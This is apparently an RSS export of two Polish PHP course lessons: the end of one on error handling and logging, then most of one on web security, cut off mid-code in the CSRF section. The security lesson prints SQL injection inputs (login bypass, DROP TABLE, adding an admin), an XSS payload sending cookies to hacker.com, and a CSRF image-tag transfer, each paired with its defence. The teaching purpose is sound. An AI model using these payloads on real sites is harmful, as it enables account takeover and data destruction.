<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 23 TaskQuest pracuje w dwóch trybach. Na Twoim komputerze pokazuje pełne szczegóły każdego błędu, a na serwerze — jedno ogólne zdanie, bez nazw kolumn i ścieżek do plików. Niezależnie od trybu każda awaria zostawia wpis w <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code>, którego nie da się odczytać przez przeglądarkę. Błąd, którego nikt nie złapał, kończy się stroną awarii zamiast białego ekranu.</p>
</blockquote>



<h1 class="wp-block-heading">13. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Numer zgłoszenia.</strong> W trybie produkcyjnym gracz widzi ogólne zdanie i nie ma czym się posłużyć, pisząc do Ciebie. Wygeneruj krótki identyfikator awarii (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">bin2hex(random_bytes(4))</code> — znasz to z Lekcji 22), dopisz go do wpisu w logu i pokaż graczowi: „Numer zgłoszenia: 3f9a1c07”. Zastanów się: która z trzech funkcji powinna go tworzyć, żeby log i komunikat miały <strong>ten sam</strong> numer?</p>



<p class="wp-block-paragraph"><strong>B. Pole wysłane jako tablica.</strong> Popraw prawdziwą przyczynę błędu z sekcji 2: przy odczycie pól formularza sprawdzaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_string()</code> (tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code> sprawdza token od Lekcji 22). Które pliki i które linie trzeba zmienić? Czy to ma być nowy komunikat w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code>, czy ciche potraktowanie takiego pola jako pustego? Uzasadnij wybór.</p>



<p class="wp-block-paragraph"><strong>C. Warning też do logu — i co dalej.</strong> Poczytaj o <code class="prettyprint lang-sql" style="font-size: 0.85em;">set_error_handler()</code>. Napisz funkcję, która zamienia ostrzeżenia PHP na wyjątki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">ErrorException</code>), i włącz ją w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>. Sprawdź na <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code> przy usuniętym katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> (sytuacja z Lekcji 21). Potem odpowiedz: czy to jest dobry pomysł dla TaskQuest? Co się stanie z ostrzeżeniami, które dziś aplikacja spokojnie ignoruje?</p>



<p class="wp-block-paragraph"><strong>D. Nie każdy błąd jest wyjątkiem.</strong> Handler z sekcji 6 nie obejmuje przekroczenia limitu pamięci ani czasu wykonania. Poczytaj o <code class="prettyprint lang-sql" style="font-size: 0.85em;">register_shutdown_function()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_get_last()</code> i dopisz obsługę takiego przypadku. Jak sprawdzisz, że działa, nie czekając 30 sekund? (Wskazówka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('memory_limit', ...)</code> w brudnopisie i duża tablica.)</p>



<p class="wp-block-paragraph"><strong>E. Xdebug.</strong> Zainstaluj Xdebug w XAMPP i połącz go z VS Code. Postaw pułapkę (breakpoint) w <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i przejdź przez kod krok po kroku, oglądając wartości zmiennych. Porównaj z metodą <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code> z sekcji 7 — co jest szybsze przy jednym sprawdzeniu, a co przy szukaniu błędu, którego nie umiesz zlokalizować?</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>.</li>



<li>Sprawdź, że przywrócone są: nazwa kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_NAZWA</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, poprawna kolejność argumentów w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika(...)</code>, nazwa katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs</code>.</li>



<li>Usuń wszystkie tymczasowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo 'test';</code> z eksperymentów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+Shift+F</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">debug</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump</code>).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (XP i seria Kamy zmieniły się podczas Testu 1 i zadania z sekcji 7) i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> z plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_...</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> zostaje.</li>



<li>Opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code> (zaznacz wszystko, usuń, zapisz) — plik ma zostać, zawartość nie.</li>



<li>Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — wszystko <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Rozpoznaję po komunikacie, czy to Parse error, Fatal error, Warning czy Deprecated.
&#91; ] Potrafię wskazać w komunikacie plik i linię i wiem, dlaczego to nie zawsze miejsce powstania błędu.
&#91; ] Wiem, czym różni się Exception od Error i czego nie łapie catch (Exception ...).
&#91; ] Umiem ustawić tryb rozwojowy i produkcyjny i wiem, dlaczego error_reporting(E_ALL) zostaje w obu.
&#91; ] Wiem, dlaczego log błędów nie może być dostępny przez przeglądarkę.
&#91; ] Potrafię dopisać własny wpis do logu funkcją error_log().
&#91; ] Wiem, dlaczego do logu nie trafia stos wywołań.
&#91; ] Wiem, co robi set_exception_handler() i czego nie obejmuje.
&#91; ] Wiem, kiedy var_dump() nic mi nie pokaże i czego użyć zamiast niego.
&#91; ] Usunęłam/usunąłem brudnopis i wszystkie tymczasowe wpisy debugujące.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li>Kolega wstawił na górze pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "Start";</code>, a niżej ma błąd składni. Twierdzi, że „przynajmniej początek strony się wyświetli”. Czy ma rację? Uzasadnij.</li>



<li>W pliku jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">try { $wynik = 10 / $dzielnik; } catch (Exception $wyjatek) { echo 'Błąd'; }</code>. Co zobaczy użytkownik, gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dzielnik</code> wynosi <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>? Jak to poprawić, nie używając <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Throwable ...)</code>?</li>



<li>Koleżanka ustawiła na serwerze <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_reporting(0)</code>, „żeby użytkownicy nie widzieli błędów”. Wymień dwa problemy, jakie sobie w ten sposób stworzyła, i podaj poprawne ustawienie.</li>



<li>Czym różni się <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('display_errors', '0')</code> od <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('log_errors', '0')</code>? Które z tych ustawień w TaskQuest zmienia się razem z <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY</code>, a które nie — i dlaczego?</li>



<li>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszBladDoLogu()</code> przyjmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">Throwable</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>? Podaj konkretny przypadek z tej lekcji, w którym ten wybór ma znaczenie.</li>



<li>Gracz dostał komunikat „Coś się popsuło po naszej stronie” i pisze do Ciebie o 22:00. Opisz krok po kroku, co robisz, żeby ustalić przyczynę.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">set_exception_handler()</code> nie zadziała dla trzech rodzajów problemów. Wymień je i powiedz, co obsługuje je zamiast handlera.</li>



<li>Znajdź co najmniej trzy błędy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszBlad(Exception $wyjatek): string { error_log(date('Y-m-d H:i') . ' ' . $wyjatek->getTraceAsString()); echo '&lt;p>' . $wyjatek->getMessage() . '&lt;/p>'; return $wyjatek->getFile(); }</code></li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> pusty tytuł daje komunikat „Tytuł jest wymagany.”, a awaria bazy — wpis w logu. Dlaczego pusty tytuł <strong>nie</strong> trafia do logu? Co by się stało z logiem, gdybyśmy zapisywały tam każdy błąd walidacji?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">pokazAwarie()</code> wypisuje własny prosty HTML zamiast użyć <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">footer.php</code>, przez co strona awarii nie ma stylów TaskQuest. Podaj powód tej decyzji i jedną sytuację, w której użycie <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code> skończyłoby się źle.</li>
</ol>


<p>Artykuł <a href="https://kamakaczmarek.net/23-php-debugowanie-i-obsluga-bledow/">23. PHP &#8211; Debugowanie i obsługa błędów</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>22. PHP – bezpieczeństwo aplikacji webowych</title>
		<link>https://kamakaczmarek.net/php-bezpieczenstwo-aplikacji-webowych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 28 May 2026 08:36:14 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[logowanie]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2350</guid>

					<description><![CDATA[<p>Bezpieczeństwo&#160;aplikacji&#160;webowych&#160;to&#160;najważniejszy&#160;aspekt&#160;tworzenia&#160;profesjonalnych&#160;systemów.&#160;Nawet&#160;najpiękniejszy&#160;kod nie&#160;ma&#160;sensu,&#160;jeśli&#160;pozwala&#160;hakerom&#160;ukraść&#160;dane&#160;użytkowników,&#160;przejąć&#160;konta&#160;lub&#160;zniszczyć&#160;bazę&#160;danych. Najczęstsze zagrożenia (OWASP Top 10): 1. SQL Injection &#8211; Wstrzykiwanie kodu SQL SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala: Przykład ataku &#8211; Logowanie Kod podatny na atak (NIGDY TAK NIE RÓB!): Co się stanie gdy haker wpisze: Zapytanie SQL stanie się: '1'='1'&#160;jest zawsze prawdą, więc haker [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-bezpieczenstwo-aplikacji-webowych/">22. PHP – bezpieczeństwo aplikacji webowych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Bezpieczeństwo&nbsp;aplikacji&nbsp;webowych</strong>&nbsp;to&nbsp;najważniejszy&nbsp;aspekt&nbsp;tworzenia&nbsp;profesjonalnych&nbsp;systemów.&nbsp;Nawet&nbsp;najpiękniejszy&nbsp;kod nie&nbsp;ma&nbsp;sensu,&nbsp;jeśli&nbsp;pozwala&nbsp;hakerom&nbsp;ukraść&nbsp;dane&nbsp;użytkowników,&nbsp;przejąć&nbsp;konta&nbsp;lub&nbsp;zniszczyć&nbsp;bazę&nbsp;danych.</p>



<h3 class="wp-block-heading">Najczęstsze zagrożenia (OWASP Top 10):</h3>



<ul class="wp-block-list">
<li><strong>SQL Injection</strong>&nbsp;&#8211; wstrzykiwanie złośliwego kodu SQL</li>



<li><strong>XSS (Cross-Site Scripting)</strong>&nbsp;&#8211; wstrzykiwanie kodu JavaScript</li>



<li><strong>CSRF (Cross-Site Request Forgery)</strong>&nbsp;&#8211; fałszywe żądania</li>



<li><strong>Session Hijacking</strong>&nbsp;&#8211; kradzież sesji użytkownika</li>



<li><strong>Weak Authentication</strong>&nbsp;&#8211; słabe zabezpieczenia logowania</li>
</ul>



<h2 class="wp-block-heading">1. SQL Injection &#8211; Wstrzykiwanie kodu SQL</h2>



<p class="wp-block-paragraph">SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala:</p>



<ul class="wp-block-list">
<li>Wykraść całą bazę danych</li>



<li>Usunąć wszystkie dane</li>



<li>Zmienić hasła użytkowników</li>



<li>Uzyskać dostęp administratora</li>
</ul>



<h3 class="wp-block-heading">Przykład ataku &#8211; Logowanie</h3>



<p class="wp-block-paragraph"><strong>Kod podatny na atak (NIGDY TAK NIE RÓB!):</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
//...
// NIEBEZPIECZNY KOD!
$username = $_POST&#91;'username'];
$password = $_POST&#91;'password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($db, $query);

if (mysqli_num_rows($result) &gt; 0) {
    echo "Zalogowano!";
}
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Co się stanie gdy haker wpisze:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin' OR '1'='1
Password: cokolwiek</code></pre>



<p class="wp-block-paragraph"><strong>Zapytanie SQL stanie się:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'cokolwiek'</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code>&nbsp;jest zawsze prawdą, więc haker zostanie zalogowany jako admin&nbsp;<strong>bez znajomości hasła</strong>!</p>



<h3 class="wp-block-heading">Inne przykłady ataków SQL Injection</h3>



<p class="wp-block-paragraph"><strong>1. Wyciągnięcie całej bazy danych:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin'; SELECT * FROM users; --</code></pre>



<p class="wp-block-paragraph"><strong>2. Usunięcie tabeli:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin'; DROP TABLE users; --</code></pre>



<p class="wp-block-paragraph"><strong>3. Dodanie admina:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'hack123', 'admin'); --</code></pre>



<h3 class="wp-block-heading">Ochrona przed SQL Injection &#8211; Prepared Statements</h3>



<p class="wp-block-paragraph"><strong>MySQLi &#8211; Prepared Statements:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // BEZPIECZNE - Prepared Statement
    $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt-&gt;bind_param("s", $username);
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    $user = $wynik-&gt;fetch_assoc();
    $stmt-&gt;close();
    
    if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}

$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>PDO &#8211; Prepared Statements:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        
        $username = trim($_POST&#91;'username'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        
        // BEZPIECZNE - Prepared Statement
        $stmt = $pdo-&gt;prepare("SELECT id, username, password FROM users WHERE username = :username");
        $stmt-&gt;execute(&#91;'username' =&gt; $username]);
        $user = $stmt-&gt;fetch();
        
        if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
            echo "Zalogowano pomyślnie!";
        } else {
            echo "Nieprawidłowy login lub hasło";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h3 class="wp-block-heading">Zasady ochrony przed SQL Injection:</h3>



<ul class="wp-block-list">
<li>ZAWSZE używaj Prepared Statements</li>



<li>Waliduj typy danych&nbsp;&#8211; rzutuj na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>&nbsp;dla liczb</li>



<li>Escapuj specjalne znaki&nbsp;&#8211;&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_real_escape_string()</code>&nbsp;(ostateczność)</li>



<li>NIGDY nie łącz SQL przez konkatenację z danymi użytkownika</li>
</ul>



<h2 class="wp-block-heading">2. XSS (Cross-Site Scripting) &#8211; Wstrzykiwanie JavaScript</h2>



<p class="wp-block-paragraph">XSS to atak polegający na wstrzyknięciu złośliwego kodu JavaScript do strony, który wykona się w przeglądarce innych użytkowników.</p>



<p class="wp-block-paragraph"><strong>Skutki ataku XSS:</strong></p>



<ul class="wp-block-list">
<li>Kradzież cookies i sesji</li>



<li>Przekierowanie na fałszywe strony</li>



<li>Zmiana treści strony</li>



<li>Kradzież danych z formularzy</li>
</ul>



<h3 class="wp-block-heading">Przykład ataku XSS</h3>



<p class="wp-block-paragraph"><strong>Kod podatny na atak:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// NIEBEZPIECZNY KOD!
$username = $_GET&#91;'username'];
echo "Witaj, $username!";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Haker wpisuje w URL:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">strona.php?username=&lt;script&gt;alert('Hacked!')&lt;/script&gt;</code></pre>



<p class="wp-block-paragraph">JavaScript się wykona i użytkownik zobaczy alert &#8222;Hacked!&#8221;.</p>



<h3 class="wp-block-heading">Bardziej niebezpieczny przykład &#8211; Kradzież sesji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">strona.php?username=&lt;script&gt;document.location='http://hacker.com/steal.php?cookie='+document.cookie&lt;/script&gt;</code></pre>



<p class="wp-block-paragraph">Ten kod wysyła cookies użytkownika (w tym ID sesji) do hakera!</p>



<h3 class="wp-block-heading">Ochrona przed XSS &#8211; htmlspecialchars()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// BEZPIECZNY KOD
$username = $_GET&#91;'username'] ?? 'Gość';

// Escapujemy specjalne znaki HTML
$safe_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

echo "Witaj, {$safe_username}!";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Co robi&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>?</strong></p>



<p class="wp-block-paragraph">Zamienia:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&gt;</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;gt;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">"</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;quot;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">'</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;#039;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;amp;</code></li>
</ul>



<p class="wp-block-paragraph">Dzięki temu&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script&gt;</code>&nbsp;staje się&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;script&amp;gt;</code>&nbsp;i jest wyświetlane jako tekst, nie kod!</p>



<h3 class="wp-block-heading">Przykład &#8211; Komentarze na blogu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'blog');
$db-&gt;set_charset('utf8mb4');

// Dodawanie komentarza
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $author = trim($_POST&#91;'author'] ?? '');
    $comment = trim($_POST&#91;'comment'] ?? '');
    
    if (!empty($author) &amp;&amp; !empty($comment)) {
        
        // Zapisujemy RAW dane do bazy (NIE escapujemy przy zapisie!)
        $stmt = $db-&gt;prepare("INSERT INTO comments (author, comment, created_at) VALUES (?, ?, NOW())");
        $stmt-&gt;bind_param("ss", $author, $comment);
        
        if ($stmt-&gt;execute()) {
            header("Location: komentarze.php");
            exit;
        }
        
        $stmt-&gt;close();
    }
}

// Wyświetlanie komentarzy
$stmt = $db-&gt;prepare("SELECT * FROM comments ORDER BY created_at DESC LIMIT 10");
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$komentarze = $wynik-&gt;fetch_all(MYSQLI_ASSOC);
$stmt-&gt;close();
$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Komentarze&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .comment {
            background: #f4f4f4;
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
            border-left: 4px solid #667eea;
        }
        .comment-author {
            font-weight: bold;
            color: #667eea;
        }
        .comment-text {
            margin-top: 10px;
            color: #333;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input, textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Komentarze na blogu&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;div class="form-group"&gt;
        &lt;input type="text" name="author" placeholder="Twoje imię" required&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
        &lt;textarea name="comment" placeholder="Twój komentarz" rows="5" required&gt;&lt;/textarea&gt;
    &lt;/div&gt;
    &lt;button type="submit"&gt;Dodaj komentarz&lt;/button&gt;
&lt;/form&gt;

&lt;h2&gt;Najnowsze komentarze:&lt;/h2&gt;

&lt;?php foreach ($komentarze as $koment): ?&gt;
    &lt;div class="comment"&gt;
        &lt;div class="comment-author"&gt;
            &lt;?= htmlspecialchars($koment&#91;'author']) ?&gt;
        &lt;/div&gt;
        &lt;div class="comment-text"&gt;
            &lt;?= nl2br(htmlspecialchars($koment&#91;'comment'])) ?&gt;
        &lt;/div&gt;
        &lt;small&gt;&lt;?= date('d.m.Y H:i', strtotime($koment&#91;'created_at'])) ?&gt;&lt;/small&gt;
    &lt;/div&gt;
&lt;?php endforeach; ?&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Zasady ochrony przed XSS:</h3>



<ul class="wp-block-list">
<li>ZAWSZE używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>&nbsp;przy wyświetlaniu danych od użytkownika</li>



<li>Od PHP 8.1 <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($tekst)</code> koduje też apostrofy i cudzysłowy (w starszych wersjach dodaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENT_QUOTES, 'UTF-8'</code>).</li>



<li>Ustaw charset na UTF-8</li>



<li>Waliduj dane wejściowe&nbsp;(whitelist, nie blacklist)</li>



<li>Użyj Content Security Policy (CSP)&nbsp;&#8211; o tym dalej</li>
</ul>



<p class="wp-block-paragraph">A tutaj można się sprawdzić: <a href="https://xss-game.appspot.com/">https://xss-game.appspot.com/</a></p>



<h2 class="wp-block-heading">3. CSRF (Cross-Site Request Forgery) &#8211; Fałszywe żądania</h2>



<p class="wp-block-paragraph">CSRF to atak polegający na zmuszeniu zalogowanego użytkownika do wykonania nieautoryzowanej akcji.</p>



<p class="wp-block-paragraph"><strong>Przykład ataku:</strong> Użytkownik jest zalogowany na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bank.pl</code>. Haker wysyła mu e-mail z linkiem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="http://bank.pl/transfer.php?to=hacker&amp;amount=10000"&gt;</code></pre>



<p class="wp-block-paragraph">Gdy użytkownik otworzy e-mail, przeglądarka automatycznie wyśle żądanie do&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bank.pl</code>&nbsp;<strong>z jego cookies/sesją</strong>, co wykona przelew!</p>



<h3 class="wp-block-heading">Ochrona przed CSRF &#8211; Tokeny</h3>



<ul class="wp-block-list">
<li>Przy wyświetleniu formularza generujemy unikalny token</li>



<li>Token zapisujemy w sesji</li>



<li>Token dodajemy jako ukryte pole w formularzu</li>



<li>Przy odbiorze formularza sprawdzamy czy token się zgadza</li>
</ul>



<h3 class="wp-block-heading">Implementacja tokenów CSRF</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Funkcja generująca token CSRF
function generateCSRFToken() {
    if (empty($_SESSION&#91;'csrf_token'])) {
        $_SESSION&#91;'csrf_token'] = bin2hex(random_bytes(32)); // bezpieczny generator losowy
    }
    return $_SESSION&#91;'csrf_token'];
}

// Funkcja sprawdzająca token CSRF
function verifyCSRFToken($token) {
    if (!isset($_SESSION&#91;'csrf_token'])) {
        return false;
    }
    return hash_equals($_SESSION&#91;'csrf_token'], $token); //bezpieczne porównywanie (zapobiega timing attack)
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$errors = &#91;];
$success = false;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
